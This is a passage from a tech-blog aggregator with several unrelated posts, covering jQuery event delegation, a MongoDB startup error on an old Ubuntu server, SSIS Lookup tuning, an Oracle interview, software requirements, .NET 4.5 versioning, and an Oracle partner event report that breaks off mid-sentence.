to get the desired effect however, but you have to change the syntax to explicitly handle the event you're interested in on the container and then provide a filter selector to specify which elements you are actually interested in for handling the event for. Sounds more complicated than it is and it's easier to see with an example. For the list above hooking .postitem clicks, using jQuery.on() looks like this:$("#PostItemContainer").on("click", ".postitem", function() {...}); You specify a container that can handle the .click event and then provide a filter selector to find the child elements that trigger the  the actual event. So here #PostItemContainer contains many .postitems, whose click events I want to handle. Any container will do including document, but I tend to use the container closest to the elements I actually want to handle the events on to minimize the event bubbling that occurs to capture the event. With this code I get the same behavior as with .live() and now as new .postitem elements are added the click events are always available. Sweet. Here's the full event signature for the .on() function: .on( events [, selector ] [, data ], handler(eventObject) ) Note that the selector is optional - if you omit it you essentially create a simple event handler that handles the event directly on the selected object. The filter/child selector required if you want life-like - uh, .live() like behavior to happen. While it's a bit more verbose than what .live() did, .on() provides the same functionality by being more explicit on what your parent container for trapping events is. .on() is good Practice even for ordinary static Element Lists As a side note, it's a good practice to use jQuery.on() or jQuery.delegate() for events in most cases anyway, using this 'container event trapping' syntax. That's because rather than requiring lots of event handlers on each of the child elements (.postitem in the sample above), there's just one event handler on the container, and only when clicked does jQuery drill down to find the matching filter element and tries to match it to the originating element. In the early days of jQuery I used manually build handlers that did this and manually drilled from the event object into the originalTarget to determine if it's a matching element. With later versions of jQuery the various event functions in jQuery essentially provide this functionality out of the box with functions like .on() and .delegate(). All of this is nothing new, but I thought I'd write this up because I have on a few occasions forgotten what exactly was needed to replace the many .live() function calls that litter my code - especially older code. This will be a nice reminder next time I have a memory blank on this topic. And maybe along the way I've helped one or two of you as well to clean up your .live() code…© Rick Strahl, West Wind Technologies, 2005-2013Posted in jQuery   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Errors trying to run MongoDB

  - by SomeKittens

  I'm running Ubuntu Server 12.04 (32 bit) on an old (1998) computer. Everything's working fine until I try and start MongoDB. somekittens@DLserver01:~$ mongo MongoDB shell version: 2.2.2 connecting to: test Sun Dec 16 22:47:50 Error: couldn't connect to server 127.0.0.1:27017 src/mongo/shell/mongo.js:91 exception: connect failed Googling the error lead me to all sorts of "repair" options, none of which fixed anything. I've also removed MongoDB and installed it again (using apt-get, have not built from source). Mongo's log shows the following error: Thu Dec 13 18:36:32 warning: 32-bit servers don't have journaling enabled by default. Please use --journal if you want durability. Thu Dec 13 18:36:32 Thu Dec 13 18:36:32 [initandlisten] MongoDB starting : pid=758 port=27017 dbpath=/var/lib/mongodb 32-bit host=DLserver01 Thu Dec 13 18:36:32 [initandlisten] Thu Dec 13 18:36:32 [initandlisten] ** NOTE: when using MongoDB 32 bit, you are limited to about 2 gigabytes of data Thu Dec 13 18:36:32 [initandlisten] ** see http://blog.mongodb.org/post/137788967/32-bit-limitations Thu Dec 13 18:36:32 [initandlisten] ** with --journal, the limit is lower Thu Dec 13 18:36:32 [initandlisten] Thu Dec 13 18:36:32 [initandlisten] db version v2.2.2, pdfile version 4.5 Thu Dec 13 18:36:32 [initandlisten] git version: d1b43b61a5308c4ad0679d34b262c5af9d664267 Thu Dec 13 18:36:32 [initandlisten] build info: Linux domU-12-31-39-01-70-B4 2.6.21.7-2.fc8xen #1 SMP Fri Feb 15 12:39:36 EST 2008 i686 BOOST_LIB_VERSION=1_49 Thu Dec 13 18:36:32 [initandlisten] options: { config: "/etc/mongodb.conf", dbpath: "/var/lib/mongodb", logappend: "true", logpath: "/var/log/mongodb/mongodb.log" } Thu Dec 13 18:36:32 [initandlisten] Unable to check for journal files due to: boost::filesystem::basic_directory_iterator constructor: No such file or directory: "/var/lib/mongodb/journal" ************** Unclean shutdown detected. Please visit http://dochub.mongodb.org/core/repair for recovery instructions. ************* Thu Dec 13 18:36:32 [initandlisten] exception in initAndListen: 12596 old lock file, terminating Thu Dec 13 18:36:32 dbexit: Thu Dec 13 18:36:32 [initandlisten] shutdown: going to close listening sockets... Thu Dec 13 18:36:32 [initandlisten] shutdown: going to flush diaglog... Thu Dec 13 18:36:32 [initandlisten] shutdown: going to close sockets... Thu Dec 13 18:36:32 [initandlisten] shutdown: waiting for fs preallocator... Thu Dec 13 18:36:32 [initandlisten] shutdown: closing all files... Thu Dec 13 18:36:32 [initandlisten] closeAllFiles() finished Thu Dec 13 18:36:32 dbexit: really exiting now Running through the recovery instructions lead to the following adventure: somekittens@DLserver01:/var/log/mongodb$ mongod --repair Sun Dec 16 22:42:54 Sun Dec 16 22:42:54 warning: 32-bit servers don't have journaling enabled by default. Please use --journal if you want durability. Sun Dec 16 22:42:54 Sun Dec 16 22:42:54 [initandlisten] MongoDB starting : pid=1887 port=27017 dbpath=/data/db/ 32-bit host=DLserver01 Sun Dec 16 22:42:54 [initandlisten] Sun Dec 16 22:42:54 [initandlisten] ** NOTE: when using MongoDB 32 bit, you are limited to about 2 gigabytes of data Sun Dec 16 22:42:54 [initandlisten] ** see http://blog.mongodb.org/post/137788967/32-bit-limitations Sun Dec 16 22:42:54 [initandlisten] ** with --journal, the limit is lower Sun Dec 16 22:42:54 [initandlisten] Sun Dec 16 22:42:54 [initandlisten] db version v2.2.2, pdfile version 4.5 Sun Dec 16 22:42:54 [initandlisten] git version: d1b43b61a5308c4ad0679d34b262c5af9d664267 Sun Dec 16 22:42:54 [initandlisten] build info: Linux domU-12-31-39-01-70-B4 2.6.21.7-2.fc8xen #1 SMP Fri Feb 15 12:39:36 EST 2008 i686 BOOST_LIB_VERSION=1_49 Sun Dec 16 22:42:54 [initandlisten] options: { repair: true } Sun Dec 16 22:42:54 [initandlisten] exception in initAndListen: 10296 ********************************************************************* ERROR: dbpath (/data/db/) does not exist. Create this directory or give existing directory in --dbpath. See http://dochub.mongodb.org/core/startingandstoppingmongo ********************************************************************* , terminating Sun Dec 16 22:42:54 dbexit: Sun Dec 16 22:42:54 [initandlisten] shutdown: going to close listening sockets... Sun Dec 16 22:42:54 [initandlisten] shutdown: going to flush diaglog... Sun Dec 16 22:42:54 [initandlisten] shutdown: going to close sockets... Sun Dec 16 22:42:54 [initandlisten] shutdown: waiting for fs preallocator... Sun Dec 16 22:42:54 [initandlisten] shutdown: closing all files... Sun Dec 16 22:42:54 [initandlisten] closeAllFiles() finished Sun Dec 16 22:42:54 dbexit: really exiting now somekittens@DLserver01:/var/log/mongodb$ sudo mkdir /data somekittens@DLserver01:/var/log/mongodb$ sudo mkdir /data/db somekittens@DLserver01:/var/log/mongodb$ mongod --repair Sun Dec 16 22:43:51 Sun Dec 16 22:43:51 warning: 32-bit servers don't have journaling enabled by default. Please use --journal if you want durability. Sun Dec 16 22:43:51 Sun Dec 16 22:43:51 [initandlisten] MongoDB starting : pid=1909 port=27017 dbpath=/data/db/ 32-bit host=DLserver01 Sun Dec 16 22:43:51 [initandlisten] Sun Dec 16 22:43:51 [initandlisten] ** NOTE: when using MongoDB 32 bit, you are limited to about 2 gigabytes of data Sun Dec 16 22:43:51 [initandlisten] ** see http://blog.mongodb.org/post/137788967/32-bit-limitations Sun Dec 16 22:43:51 [initandlisten] ** with --journal, the limit is lower Sun Dec 16 22:43:51 [initandlisten] Sun Dec 16 22:43:51 [initandlisten] db version v2.2.2, pdfile version 4.5 Sun Dec 16 22:43:51 [initandlisten] git version: d1b43b61a5308c4ad0679d34b262c5af9d664267 Sun Dec 16 22:43:51 [initandlisten] build info: Linux domU-12-31-39-01-70-B4 2.6.21.7-2.fc8xen #1 SMP Fri Feb 15 12:39:36 EST 2008 i686 BOOST_LIB_VERSION=1_49 Sun Dec 16 22:43:51 [initandlisten] options: { repair: true } Sun Dec 16 22:43:51 [initandlisten] exception in initAndListen: 10309 Unable to create/open lock file: /data/db/mongod.lock errno:13 Permission denied Is a mongod instance already running?, terminating Sun Dec 16 22:43:51 dbexit: Sun Dec 16 22:43:51 [initandlisten] shutdown: going to close listening sockets... Sun Dec 16 22:43:51 [initandlisten] shutdown: going to flush diaglog... Sun Dec 16 22:43:51 [initandlisten] shutdown: going to close sockets... Sun Dec 16 22:43:51 [initandlisten] shutdown: waiting for fs preallocator... Sun Dec 16 22:43:51 [initandlisten] shutdown: closing all files... Sun Dec 16 22:43:51 [initandlisten] closeAllFiles() finished Sun Dec 16 22:43:51 [initandlisten] shutdown: removing fs lock... Sun Dec 16 22:43:51 [initandlisten] couldn't remove fs lock errno:9 Bad file descriptor Sun Dec 16 22:43:51 dbexit: really exiting now somekittens@DLserver01:/var/log/mongodb$ service mongodb stop stop: Unknown instance: somekittens@DLserver01:/var/log/mongodb$ sudo mongod --repair Sun Dec 16 22:45:04 Sun Dec 16 22:45:04 warning: 32-bit servers don't have journaling enabled by default. Please use --journal if you want durability. Sun Dec 16 22:45:04 Sun Dec 16 22:45:04 [initandlisten] MongoDB starting : pid=1921 port=27017 dbpath=/data/db/ 32-bit host=DLserver01 Sun Dec 16 22:45:04 [initandlisten] Sun Dec 16 22:45:04 [initandlisten] ** NOTE: when using MongoDB 32 bit, you are limited to about 2 gigabytes of data Sun Dec 16 22:45:04 [initandlisten] ** see http://blog.mongodb.org/post/137788967/32-bit-limitations Sun Dec 16 22:45:04 [initandlisten] ** with --journal, the limit is lower Sun Dec 16 22:45:04 [initandlisten] Sun Dec 16 22:45:04 [initandlisten] db version v2.2.2, pdfile version 4.5 Sun Dec 16 22:45:04 [initandlisten] git version: d1b43b61a5308c4ad0679d34b262c5af9d664267 Sun Dec 16 22:45:04 [initandlisten] build info: Linux domU-12-31-39-01-70-B4 2.6.21.7-2.fc8xen #1 SMP Fri Feb 15 12:39:36 EST 2008 i686 BOOST_LIB_VERSION=1_49 Sun Dec 16 22:45:04 [initandlisten] options: { repair: true } Sun Dec 16 22:45:04 [initandlisten] Unable to check for journal files due to: boost::filesystem::basic_directory_iterator constructor: No such file or directory: "/data/db/journal" Sun Dec 16 22:45:04 [initandlisten] finished checking dbs Sun Dec 16 22:45:04 dbexit: Sun Dec 16 22:45:04 [initandlisten] shutdown: going to close listening sockets... Sun Dec 16 22:45:04 [initandlisten] shutdown: going to flush diaglog... Sun Dec 16 22:45:04 [initandlisten] shutdown: going to close sockets... Sun Dec 16 22:45:04 [initandlisten] shutdown: waiting for fs preallocator... Sun Dec 16 22:45:04 [initandlisten] shutdown: closing all files... Sun Dec 16 22:45:04 [initandlisten] closeAllFiles() finished Sun Dec 16 22:45:04 [initandlisten] shutdown: removing fs lock... Sun Dec 16 22:45:04 dbexit: really exiting now Which didn't change anything. What can I do to resolve this? It's an old computer (640MB RAM, single-core P2). Could that be causing it?

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• SSIS Lookup component tuning tips

  - by jamiet

  Yesterday evening I attended a London meeting of the UK SQL Server User Group at Microsoft’s offices in London Victoria. As usual it was both a fun and informative evening and in particular there seemed to be a few questions arising about tuning the SSIS Lookup component; I rattled off some comments and figured it would be prudent to drop some of them into a dedicated blog post, hence the one you are reading right now. Scene setting A popular pattern in SSIS is to use a Lookup component to determine whether a record in the pipeline already exists in the intended destination table or not and I cover this pattern in my 2006 blog post Checking if a row exists and if it does, has it changed? (note to self: must rewrite that blog post for SSIS2008). Fundamentally the SSIS lookup component (when using FullCache option) sucks some data out of a database and holds it in memory so that it can be compared to data in the pipeline. One of the big benefits of using SSIS dataflows is that they process data one buffer at a time; that means that not all of the data from your source exists in the dataflow at the same time and is why a SSIS dataflow can process data volumes that far exceed the available memory. However, that only applies to data in the pipeline; for reasons that are hopefully obvious ALL of the data in the lookup set must exist in the memory cache for the duration of the dataflow’s execution which means that any memory used by the lookup cache will not be available to be used as a pipeline buffer. Moreover, there’s an obvious correlation between the amount of data in the lookup cache and the time it takes to charge that cache; the more data you have then the longer it will take to charge and the longer you have to wait until the dataflow actually starts to do anything. For these reasons your goal is simple: ensure that the lookup cache contains as little data as possible. General tips Here is a simple tick list you can follow in order to tune your lookups: Use a SQL statement to charge your cache, don’t just pick a table from the dropdown list made available to you. (Read why in SELECT *... or select from a dropdown in an OLE DB Source component?) Only pick the columns that you need, ignore everything else Make the database columns that your cache is populated from as narrow as possible. If a column is defined as VARCHAR(20) then SSIS will allocate 20 bytes for every value in that column – that is a big waste if the actual values are significantly less than 20 characters in length. Do you need DT_WSTR typed columns or will DT_STR suffice? DT_WSTR uses twice the amount of space to hold values that can be stored using a DT_STR so if you can use DT_STR, consider doing so. Same principle goes for the numerical datatypes DT_I2/DT_I4/DT_I8. Only populate the cache with data that you KNOW you will need. In other words, think about your WHERE clause! Thinking outside the box It is tempting to build a large monolithic dataflow that does many things, one of which is a Lookup. Often though you can make better use of your available resources by, well, mixing things up a little and here are a few ideas to get your creative juices flowing: There is no rule that says everything has to happen in a single dataflow. If you have some particularly resource intensive lookups then consider putting that lookup into a dataflow all of its own and using raw files to pass the pipeline data in and out of that dataflow. Know your data. If you think, for example, that the majority of your incoming rows will match with only a small subset of your lookup data then consider chaining multiple lookup components together; the first would use a FullCache containing that data subset and the remaining data that doesn’t find a match could be passed to a second lookup that perhaps uses a NoCache lookup thus negating the need to pull all of that least-used lookup data into memory. Do you need to process all of your incoming data all at once? If you can process different partitions of your data separately then you can partition your lookup cache as well. For example, if you are using a lookup to convert a location into a [LocationId] then why not process your data one region at a time? This will mean your lookup cache only has to contain data for the location that you are currently processing and with the ability of the Lookup in SSIS2008 and beyond to charge the cache using a dynamically built SQL statement you’ll be able to achieve it using the same dataflow and simply loop over it using a ForEach loop. Taking the previous data partitioning idea further … a dataflow can contain more than one data path so why not split your data using a conditional split component and, again, charge your lookup caches with only the data that they need for that partition. Lookups have two uses: to (1) find a matching row from the lookup set and (2) put attributes from that matching row into the pipeline. Ask yourself, do you need to do these two things at the same time? After all once you have the key column(s) from your lookup set then you can use that key to get the rest of attributes further downstream, perhaps even in another dataflow. Are you using the same lookup data set multiple times? If so, consider the file caching option in SSIS 2008 and beyond. Above all, experiment and be creative with different combinations. You may be surprised at what works. Final  thoughts If you want to know more about how the Lookup component differs in SSIS2008 from SSIS2005 then I have a dedicated blog post about that at Lookup component gets a makeover. I am on a mini-crusade at the moment to get a BULK MERGE feature into the database engine, the thinking being that if the database engine can quickly merge massive amounts of data in a similar manner to how it can insert massive amounts using BULK INSERT then that’s a lot of work that wouldn’t have to be done in the SSIS pipeline. If you think that is a good idea then go and vote for BULK MERGE on Connect. If you have any other tips to share then please stick them in the comments. Hope this helps! @Jamiet Share this post: email it! | bookmark it! | digg it! | reddit! | kick it! | live it!

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• Who IS Brian Solis?

  - by Michael Snow

  Q: Brian, Welcome to the WebCenter Blog. Can you tell our readers your current role and what career path brought you here? A: I’m proudly serving as a principal analyst at Altimeter Group, a research based advisory firm in Silicon Valley. My career path, well, let’s just say it’s a long and winding road. As a kid, I was fascinated with technology. I learned programming at an early age and found myself naturally drawn to all things tech. I started my career as a database programmer at a technology marketing agency in Southern California. When I saw the chance to work with tech companies and help them better market their capabilities to businesses and consumers, I switched focus from programming to marketing and advertising. As technologist, my approach to marketing was different. I didn’t believe in hype, fluff or buzz words. I believed in translating features into benefits and specifications and capabilities into solutions for real world problems and opportunities. In the mid 90’s I experimented with direct to consumer/customer engagement in dedicated technology forums and boards. I quickly realized that the entire approach to do so would need to change. Therefore, I learned and developed new methods for a more social and informed way of engaging people in ways that helped them, marketed the company, and also tied to tangible benefits for the company. This work would lead me to start an agency in 1999 dedicated to interactive marketing. As I continued to experiment with interactive platforms, I developed interesting methods for converting one-to-many forms of media into one-to-one-to-many programs. I ran that company until joining Altimeter Group. Along the way, in the early 2000s, I realized that everything was changing and that there were others like me finding success in what would become a more social form of media. I dedicated a significant amount of my time to sharing everything that I learned in the form of articles, blogs, and eventually books. My mission became to share my experience with anyone who’d listen. It would later become much bigger than marketing, this would lead to a decade of work, that still continues, in business transformation. Then and now, I find myself always assuming the role of a student. Q: As an industry analyst & technology change evangelist, what are you primarily focused on these days? A: As a digital analyst, I study how disruptive technology impacts business. As an aspiring social scientist, I study how technology affects human behavior. I explore both horizons professionally and personally to better understand the future of popular culture and also the opportunities that exist for organizations to improve relationships and experiences with customers and the people that are important to them. Q: People cite that the line between work and life is getting more and more blurred. Do you see your personal life influencing your professional work? A: The line between work and life isn’t blurred it’s been overtly crossed and erased. We live in an always on society. The digital lifestyle keeps us connected to one another it keeps us connected all the time. Whether your sending or checking email, trying to catch up, or simply trying to get ahead, people are spending the equivalent of an extra day at work in the time they spend out of work…working. That’s absurd. It’s a matter of survival. It’s also a matter of unintended, subconscious self-causation. We brought this on ourselves and continue to do so. Think about your day. You’re in meetings for the better part of each day. You probably spend evenings and weekends catching up on email and actually doing the work you couldn’t get to during the day. And, your co-workers and executives are doing the same thing. So if you try to slow down, you find yourself at a disadvantage as you’re willfully pulling yourself out of an unfortunate culture of whenever wherever business dynamics. If you’re unresponsive or unreachable, someone within your organization or on your team is accessible. Over time, this could contribute to unfavorable impressions. I choose to steer my life balance in ways that complement one another. But, I don’t pretend to have this figured out by any means. In fact, I find myself swimming upstream like those around me. It’s essentially a competition for relevance and at some point I’ll learn how to earn attention and relevance while redrawing the line between work and life. Q: How can people keep up with what you’re working on? A: The easy answer is that people can keep up with me at briansolis.com. But, I also try to reach people where their attention is focused. Whether it’s Facebook (facebook.com/briansolis), Twitter (@briansolis), Google+ (+briansolis), Youtube (briansolis.tv) or through books and conferences, people can usually find me in a place of their choosing. Q: Recently, you’ve been working with us here at Oracle on something exciting coming up later this week. What’s on the horizon? A: I spent some time with the Oracle team reviewing the idea of Digital Darwinism and how technology and society are evolving faster than many organizations can adapt. Digital Darwinism: How Brands Can Survive the Rapid Evolution of Society and Technology Thursday, December 13, 2012, 10 a.m. PT / 1 p.m. ET Q: You’ve been very actively pursued for media interviews and conference and company speaking engagements – anything you’d like to share to give us a sneak peak of what to expect on Thursday’s webcast? A: We’re inviting guests to join us online as we dive into the future of business and how the convergence of technology and connected consumerism would ultimately impact how business is done. It’ll be an exciting and revealing conversation that explores just how much everything is changing. We’ll also review the importance of adapting to emergent trends and how to compete for the future. It’s important to recognize that change is not happening to us, it’s happening because of us. We are part of the revolution and therefore we need to help organizations adapt from the inside out. Watch the Entire Oracle Social Business Thought Leaders Webcast Series On-Demand and Stay Tuned for More to Come in 2013!

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• The Incremental Architect&acute;s Napkin - #1 - It&acute;s about the money, stupid

  - by Ralf Westphal

  Originally posted on: http://geekswithblogs.net/theArchitectsNapkin/archive/2014/05/24/the-incremental-architectacutes-napkin---1---itacutes-about-the.aspx Software development is an economic endeavor. A customer is only willing to pay for value. What makes a software valuable is required to become a trait of the software. We as software developers thus need to understand and then find a way to implement requirements. Whether or in how far a customer really can know beforehand what´s going to be valuable for him/her in the end is a topic of constant debate. Some aspects of the requirements might be less foggy than others. Sometimes the customer does not know what he/she wants. Sometimes he/she´s certain to want something - but then is not happy when that´s delivered. Nevertheless requirements exist. And developers will only be paid if they deliver value. So we better focus on doing that. Although is might sound trivial I think it´s important to state the corollary: We need to be able to trace anything we do as developers back to some requirement. You decide to use Go as the implementation language? Well, what´s the customer´s requirement this decision is linked to? You decide to use WPF as the GUI technology? What´s the customer´s requirement? You decide in favor of a layered architecture? What´s the customer´s requirement? You decide to put code in three classes instead of just one? What´s the customer´s requirement behind that? You decide to use MongoDB over MySql? What´s the customer´s requirement behind that? etc. I´m not saying any of these decisions are wrong. I´m just saying whatever you decide be clear about the requirement that´s driving your decision. You have to be able to answer the question: Why do you think will X deliver more value to the customer than the alternatives? Customers are not interested in romantic ideals of hard working, good willing, quality focused craftsmen. They don´t care how and why you work - as long as what you deliver fulfills their needs. They want to trust you to recognize this as your top priority - and then deliver. That´s all. Fundamental aspects of requirements If you´re like me you´re probably not used to such scrutinization. You want to be trusted as a professional developer - and decide quite a few things following your gut feeling. Or by relying on “established practices”. That´s ok in general and most of the time - but still… I think we should be more conscious about our decisions. Which would make us more responsible, even more professional. But without further guidance it´s hard to reason about many of the myriad decisions we´ve to make over the course of a software project. What I found helpful in this situation is structuring requirements into fundamental aspects. Instead of one large heap of requirements then there are smaller blobs. With them it´s easier to check if a decisions falls in their scope. Sure, every project has it´s very own requirements. But all of them belong to just three different major categories, I think. Any requirement either pertains to functionality, non-functional aspects or sustainability. For short I call those aspects: Functionality, because such requirements describe which transformations a software should offer. For example: A calculator software should be able to add and multiply real numbers. An auction website should enable you to set up an auction anytime or to find auctions to bid for. Quality, because such requirements describe how functionality is supposed to work, e.g. fast or secure. For example: A calculator should be able to calculate the sinus of a value much faster than you could in your head. An auction website should accept bids from millions of users. Security of Investment, because functionality and quality need not just be delivered in any way. It´s important to the customer to get them quickly - and not only today but over the course of several years. This aspect introduces time into the “requrements equation”. Security of Investments (SoI) sure is a non-functional requirement. But I think it´s important to not subsume it under the Quality (Q) aspect. That´s because SoI has quite special properties. For one, SoI for software means something completely different from what it means for hardware. If you buy hardware (a car, a hair blower) you find that a worthwhile investment, if the hardware does not change it´s functionality or quality over time. A car still running smoothly with hardly any rust spots after 10 years of daily usage would be a very secure investment. So for hardware (or material products, if you like) “unchangeability” (in the face of usage) is desirable. With software you want the contrary. Software that cannot be changed is a waste. SoI for software means “changeability”. You want to be sure that the software you buy/order today can be changed, adapted, improved over an unforseeable number of years so as fit changes in its usage environment. But that´s not the only reason why the SoI aspect is special. On top of changeability[1] (or evolvability) comes immeasurability. Evolvability cannot readily be measured by counting something. Whether the changeability is as high as the customer wants it, cannot be determined by looking at metrics like Lines of Code or Cyclomatic Complexity or Afferent Coupling. They may give a hint… but they are far, far from precise. That´s because of the nature of changeability. It´s different from performance or scalability. Also it´s because a customer cannot tell upfront, “how much” evolvability he/she wants. Whether requirements regarding Functionality (F) and Q have been met, a customer can tell you very quickly and very precisely. A calculation is missing, the calculation takes too long, the calculation time degrades with increased load, the calculation is accessible to the wrong users etc. That´s all very or at least comparatively easy to determine. But changeability… That´s a whole different thing. Nevertheless over time the customer will develop a feedling if changeability is good enough or degrading. He/she just has to check the development of the frequency of “WTF”s from developers ;-) F and Q are “timeless” requirement categories. Customers want us to deliver on them now. Just focusing on the now, though, is rarely beneficial in the long run. So SoI adds a counterweight to the requirements picture. Customers want SoI - whether they know it or not, whether they state if explicitly or not. In closing A customer´s requirements are not monolithic. They are not all made the same. Rather they fall into different categories. We as developers need to recognize these categories when confronted with some requirement - and take them into account. Only then can we make true professional decisions, i.e. conscious and responsible ones. I call this fundamental trait of software “changeability” and not “flexibility” to distinguish to whom it´s a concern. “Flexibility” to me means, software as is can easily be adapted to a change in its environment, e.g. by tweaking some config data or adding a library which gets picked up by a plug-in engine. “Flexibiltiy” thus is a matter of some user. “Changeability”, on the other hand, to me means, software can easily be changed in its structure to adapt it to new requirements. That´s a matter of the software developer. ?

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• .NET 4.5 is an in-place replacement for .NET 4.0

  - by Rick Strahl

  With the betas for .NET 4.5 and Visual Studio 11 and Windows 8 shipping many people will be installing .NET 4.5 and hacking away on it. There are a number of great enhancements that are fairly transparent, but it's important to understand what .NET 4.5 actually is in terms of the CLR running on your machine. When .NET 4.5 is installed it effectively replaces .NET 4.0 on the machine. .NET 4.0 gets overwritten by a new version of .NET 4.5 which - according to Microsoft - is supposed to be 100% backwards compatible. While 100% backwards compatible sounds great, we all know that 100% is a hard number to hit, and even the aforementioned blog post at the Microsoft site acknowledges this. But there's so much more than backwards compatibility that makes this awkward at best and confusing at worst. What does ‘Replacement’ mean? When you install .NET 4.5 your .NET 4.0 assemblies in the \Windows\.NET Framework\V4.0.30319 are overwritten with a new set of assemblies. You end up with overwritten assemblies as well as a bunch of new ones (like the new System.Net.Http assemblies for example). The following screen shot demonstrates system.dll on my test machine (left) running .NET 4.5 on the right and my production laptop running stock .NET 4.0 (right):   Clearly they are different files with a difference in file sizes (interesting that the 4.5 version is actually smaller). That’s not all. If you actually query the runtime version when .NET 4.5 is installed with with Environment.Version you still get: 4.0.30319 If you open the properties of System.dll assembly in .NET 4.5 you'll also see: Notice that the file version is also left at 4.0.xxx. There are differences in build numbers: .NET 4.0 shows 261 and the current .NET 4.5 beta build is 17379. I suppose you can use assume a build number greater than 17000 is .NET 4.5, but that's pretty hokey to say the least. There’s no easy or obvious way to tell whether you are running on 4.0 or 4.5 – to the application they appear to be the same runtime version. And that is what Microsoft intends here. .NET 4.5 is intended as an in-place upgrade. Compile to 4.5 run on 4.0 – not quite! You can compile an application for .NET 4.5 and run it on the 4.0 runtime – that is until you hit a new feature that doesn’t exist on 4.0. At which point the app bombs at runtime. Say you write some code that is mostly .NET 4.0, but only has a few of the new features of .NET 4.5 like aync/await buried deep in the bowels of the application where it only fires occasionally. .NET will happily start your application and run everything 4.0 fine, until it hits that 4.5 code – and then crash unceremoniously at runtime. Oh joy! You can .NET 4.0 applications on .NET 4.5 of course and that should work without much fanfare. Different than .NET 3.0/3.5 Note that this in-place replacement is very different from the side by side installs of .NET 2.0 and 3.0/3.5 which all ran on the 2.0 version of the CLR. The two 3.x versions were basically library enhancements on top of the core .NET 2.0 runtime. Both versions ran under the .NET 2.0 runtime which wasn’t changed (other than for security patches and bug fixes) for the whole 3.x cycle. The 4.5 update instead completely replaces the .NET 4.0 runtime and leaves the actual version number set at v4.0.30319. When you build a new project with Visual Studio 2011, you can still target .NET 4.0 or you can target .NET 4.5. But you are in effect referencing the same set of assemblies for both regardless which version you use. What's different is the compiler used to compile and link your code so compiling with .NET 4.0 gives you just the subset of the functionality that is available in .NET 4.0, but when you use the 4.5 compiler you get the full functionality of what’s actually available in the assemblies and extra libraries. It doesn’t look like you will be able to use Visual Studio 2010 to develop .NET 4.5 applications. Good news – Bad news Microsoft is trying hard to experiment with every possible permutation of releasing new versions of the .NET framework apparently. No two updates have been the same. Clearly updating to a full new version of .NET (ie. .NET 2.0, 4.0 and at some point 5.0 runtimes) has its own set of challenges, but doing an in-place update of the runtime and then not even providing a good way to tell which version is installed is pretty whacky even by Microsoft’s standards. Especially given that .NET 4.5 includes a fairly significant update with all the aysnc functionality baked into the runtime. Most of the IO APIs have been updated to support task based async operation which significantly affects many existing APIs. To make things worse .NET 4.5 will be the initial version of .NET that ships with Windows 8 so it will be with us for a long time to come unless Microsoft finally decides to push .NET versions onto Windows machines as part of system upgrades (which currently doesn’t happen). This is the same story we had when Vista launched with .NET 3.0 which was a minor version that quickly was replaced by 3.5 which was more long lived and practical. People had enough problems dealing with the confusing versioning of the 3.x versions which ran on .NET 2.0. I can’t count the amount support calls and questions I’ve fielded because people couldn’t find a .NET 3.5 entry in the IIS version dialog. The same is likely to happen with .NET 4.5. It’s all well and good when we know that .NET 4.5 is an in-place replacement, but administrators and IT folks not intimately familiar with .NET are unlikely to understand this nuance and end up thoroughly confused which version is installed. It’s hard for me to see any upside to an in-place update and I haven’t really seen a good explanation of why this approach was decided on. Sure if the version stays the same existing assembly bindings don’t break so applications can stay running through an update. I suppose this is useful for some component vendors and strongly signed assemblies in corporate environments. But seriously, if you are going to throw .NET 4.5 into the mix, who won’t be recompiling all code and thoroughly test that code to work on .NET 4.5? A recompile requirement doesn’t seem that serious in light of a major version upgrade.  Resources http://blogs.msdn.com/b/dotnet/archive/2011/09/26/compatibility-of-net-framework-4-5.aspx http://www.devproconnections.com/article/net-framework/net-framework-45-versioning-faces-problems-141160© Rick Strahl, West Wind Technologies, 2005-2012Posted in .NET   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• The Partner Perspective from Oracle OpenWorld 2012 - IDC’s Darren Bibby report

  - by Richard Lefebvre

  Below is IDC’s Darren Bibby report on ‘The Partner Perspective from Oracle OpenWorld 2012’. If you missed the 2012 edition, I trust this will give you the willingness to attend next year one! October 26, 2012 I attended my fourth Oracle OpenWorld earlier in October. I always go in with the lens of, "What's in it for partners this year?" Although it's primarily thought of as a customer event - and yes, the bulk of the almost 50,000 attendees are customers - this year's conference was clearly the largest and most important partner event Oracle has ever run. Oracle PartnerNetwork (OPN) Exchange There were more partner attendees than ever, with Oracle citing somewhere around 5000. But the format for partners this year was different. And it was better. Traditionally, Oracle hosts a one-day only Partner Forum on the Sunday before the customer-focused conference begins. This year, the partner content still began on the Sunday, but the worldwide alliances and channels group created an exclusive track throughout the week, just for partners. It featured content specifically targeted towards partners, and was anchored at a nearby hotel. This was a great move for Oracle. The Oracle PartnerNetwork (OPN) team has been in a tricky position for years in that they have enough partners that they need a landmark event in the year, but perhaps not enough to justify a separate, worldwide, large, partner-only event. Coinciding a four day event with Oracle OpenWorld, where anybody who's anybody in the Oracle world attends anyway, is a good solution. The channels leadership team can build from this success for an even better conference next year. It's expected that they will follow a similar strategy. Cloud Announcements for Partners As for the content, it was primarily about the Cloud. For customers, for VARs, for ISVs, for everyone. There were five key Cloud related announcements for partners at the event: Cloud Builder Specialization. This is one of the first broader Specializations that isn't focused on one unique product. It is a designation for partners that offer design and implementation services for private cloud solutions. As such, it will surely be something that nearly every partner will consider, and many will pursue. New Specializations for Cloud Services. Unlike the broad, almost "strategy-level" Specialization above, there are a group of new product-based "merit badges" for many of the new Cloud offerings. Think about a Specialization for the Cloud version of HCM, for instance. Each of these particular specializations will also have Rapid Start implementation methodologies that allow a partner to offer a fixed scope and fixed price bid to customers. Based on the learnings from Oracle Consulting, this means a partner might be able to deliver Cloud HCM in six weeks for a fixed price. In the end, this 